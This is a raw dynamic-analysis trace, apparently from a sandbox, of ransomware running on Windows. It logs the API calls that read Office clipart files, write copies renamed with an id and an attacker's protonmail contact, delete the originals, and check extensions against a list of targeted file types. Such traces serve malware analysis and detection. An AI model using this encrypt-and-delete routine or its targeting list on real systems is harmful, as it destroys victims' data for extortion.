	[0087.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.998] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5098) returned 1
	[0087.998] CloseHandle (hObject=0x338) returned 1
	[0088.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220
	[0088.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0088.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0088.000] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.000] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.000] GetLastError () returned 0x0
	[0088.000] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x13ea, lpOverlapped=0x0) returned 1
	[0088.002] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13f0, lpOverlapped=0x0) returned 1
	[0088.003] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.003] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.003] SetEndOfFile (hFile=0x390) returned 1
	[0088.003] CloseHandle (hObject=0x390) returned 1
	[0088.003] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.003] SetEndOfFile (hFile=0x338) returned 1
	[0088.004] CloseHandle (hObject=0x338) returned 1
	[0088.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0088.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1
	[0088.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.005] lstrlenW (lpString=".doc") returned 4
	[0088.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.005] lstrlenW (lpString=".docx") returned 5
	[0088.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.005] lstrlenW (lpString=".pdf") returned 4
	[0088.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.005] lstrlenW (lpString=".xls") returned 4
	[0088.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.005] lstrlenW (lpString=".xlsx") returned 5
	[0088.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.005] lstrlenW (lpString=".ppt") returned 4
	[0088.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.005] lstrlenW (lpString=".zip") returned 4
	[0088.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.005] lstrlenW (lpString=".rar") returned 4
	[0088.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.005] lstrlenW (lpString=".bz2") returned 4
	[0088.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.005] lstrlenW (lpString=".7z") returned 3
	[0088.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.006] lstrlenW (lpString=".dbf") returned 4
	[0088.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.006] lstrlenW (lpString=".1cd") returned 4
	[0088.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.006] lstrlenW (lpString=".jpg") returned 4
	[0088.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.006] lstrlenW (lpString=".doc") returned 4
	[0088.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.006] lstrlenW (lpString=".docx") returned 5
	[0088.006] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.006] lstrlenW (lpString=".pdf") returned 4
	[0088.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.006] lstrlenW (lpString=".xls") returned 4
	[0088.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.006] lstrlenW (lpString=".xlsx") returned 5
	[0088.006] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.006] lstrlenW (lpString=".ppt") returned 4
	[0088.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.006] lstrlenW (lpString=".zip") returned 4
	[0088.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.007] lstrlenW (lpString=".rar") returned 4
	[0088.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.007] lstrlenW (lpString=".bz2") returned 4
	[0088.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.007] lstrlenW (lpString=".7z") returned 3
	[0088.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.007] lstrlenW (lpString=".dbf") returned 4
	[0088.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.007] lstrlenW (lpString=".1cd") returned 4
	[0088.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0088.007] lstrlenW (lpString=".jpg") returned 4
	[0088.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.007] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0088.007] lstrlenW (lpString="FD00455_.WMF") returned 12
	[0088.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0088.008] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=8926) returned 1
	[0088.008] CloseHandle (hObject=0x338) returned 1
	[0088.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220
	[0088.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0088.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0088.008] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.008] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.009] GetLastError () returned 0x0
	[0088.009] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x22de, lpOverlapped=0x0) returned 1
	[0088.011] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x22e0, lpOverlapped=0x0) returned 1
	[0088.012] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.012] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.013] SetEndOfFile (hFile=0x390) returned 1
	[0088.013] CloseHandle (hObject=0x390) returned 1
	[0088.013] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.013] SetEndOfFile (hFile=0x338) returned 1
	[0088.014] CloseHandle (hObject=0x338) returned 1
	[0088.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0088.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1
	[0088.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.014] lstrlenW (lpString=".doc") returned 4
	[0088.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.014] lstrlenW (lpString=".docx") returned 5
	[0088.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.014] lstrlenW (lpString=".pdf") returned 4
	[0088.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.014] lstrlenW (lpString=".xls") returned 4
	[0088.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.014] lstrlenW (lpString=".xlsx") returned 5
	[0088.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.014] lstrlenW (lpString=".ppt") returned 4
	[0088.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.015] lstrlenW (lpString=".zip") returned 4
	[0088.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.015] lstrlenW (lpString=".rar") returned 4
	[0088.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.015] lstrlenW (lpString=".bz2") returned 4
	[0088.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.015] lstrlenW (lpString=".7z") returned 3
	[0088.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.015] lstrlenW (lpString=".dbf") returned 4
	[0088.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.015] lstrlenW (lpString=".1cd") returned 4
	[0088.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.015] lstrlenW (lpString=".jpg") returned 4
	[0088.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.015] lstrlenW (lpString=".doc") returned 4
	[0088.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.015] lstrlenW (lpString=".docx") returned 5
	[0088.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.015] lstrlenW (lpString=".pdf") returned 4
	[0088.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.015] lstrlenW (lpString=".xls") returned 4
	[0088.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.015] lstrlenW (lpString=".xlsx") returned 5
	[0088.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.015] lstrlenW (lpString=".ppt") returned 4
	[0088.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.016] lstrlenW (lpString=".zip") returned 4
	[0088.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.016] lstrlenW (lpString=".rar") returned 4
	[0088.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.016] lstrlenW (lpString=".bz2") returned 4
	[0088.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.016] lstrlenW (lpString=".7z") returned 3
	[0088.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.016] lstrlenW (lpString=".dbf") returned 4
	[0088.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.016] lstrlenW (lpString=".1cd") returned 4
	[0088.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0088.016] lstrlenW (lpString=".jpg") returned 4
	[0088.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.016] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0088.016] lstrlenW (lpString="FD00459_.WMF") returned 12
	[0088.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0088.017] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=17406) returned 1
	[0088.017] CloseHandle (hObject=0x338) returned 1
	[0088.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220
	[0088.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0088.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0088.017] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.017] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.017] GetLastError () returned 0x0
	[0088.017] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x43fe, lpOverlapped=0x0) returned 1
	[0088.019] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4400, lpOverlapped=0x0) returned 1
	[0088.020] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.020] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.020] SetEndOfFile (hFile=0x390) returned 1
	[0088.021] CloseHandle (hObject=0x390) returned 1
	[0088.021] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.021] SetEndOfFile (hFile=0x338) returned 1
	[0088.022] CloseHandle (hObject=0x338) returned 1
	[0088.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0088.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1
	[0088.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.022] lstrlenW (lpString=".doc") returned 4
	[0088.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.022] lstrlenW (lpString=".docx") returned 5
	[0088.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.022] lstrlenW (lpString=".pdf") returned 4
	[0088.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.023] lstrlenW (lpString=".xls") returned 4
	[0088.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.023] lstrlenW (lpString=".xlsx") returned 5
	[0088.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.023] lstrlenW (lpString=".ppt") returned 4
	[0088.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.023] lstrlenW (lpString=".zip") returned 4
	[0088.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.023] lstrlenW (lpString=".rar") returned 4
	[0088.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.023] lstrlenW (lpString=".bz2") returned 4
	[0088.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.023] lstrlenW (lpString=".7z") returned 3
	[0088.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.023] lstrlenW (lpString=".dbf") returned 4
	[0088.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.023] lstrlenW (lpString=".1cd") returned 4
	[0088.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.023] lstrlenW (lpString=".jpg") returned 4
	[0088.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.023] lstrlenW (lpString=".doc") returned 4
	[0088.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.023] lstrlenW (lpString=".docx") returned 5
	[0088.023] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.023] lstrlenW (lpString=".pdf") returned 4
	[0088.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.024] lstrlenW (lpString=".xls") returned 4
	[0088.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.024] lstrlenW (lpString=".xlsx") returned 5
	[0088.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.024] lstrlenW (lpString=".ppt") returned 4
	[0088.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.024] lstrlenW (lpString=".zip") returned 4
	[0088.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.024] lstrlenW (lpString=".rar") returned 4
	[0088.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.024] lstrlenW (lpString=".bz2") returned 4
	[0088.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.024] lstrlenW (lpString=".7z") returned 3
	[0088.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.024] lstrlenW (lpString=".dbf") returned 4
	[0088.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.024] lstrlenW (lpString=".1cd") returned 4
	[0088.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0088.024] lstrlenW (lpString=".jpg") returned 4
	[0088.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.024] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0088.024] lstrlenW (lpString="FD00543_.WMF") returned 12
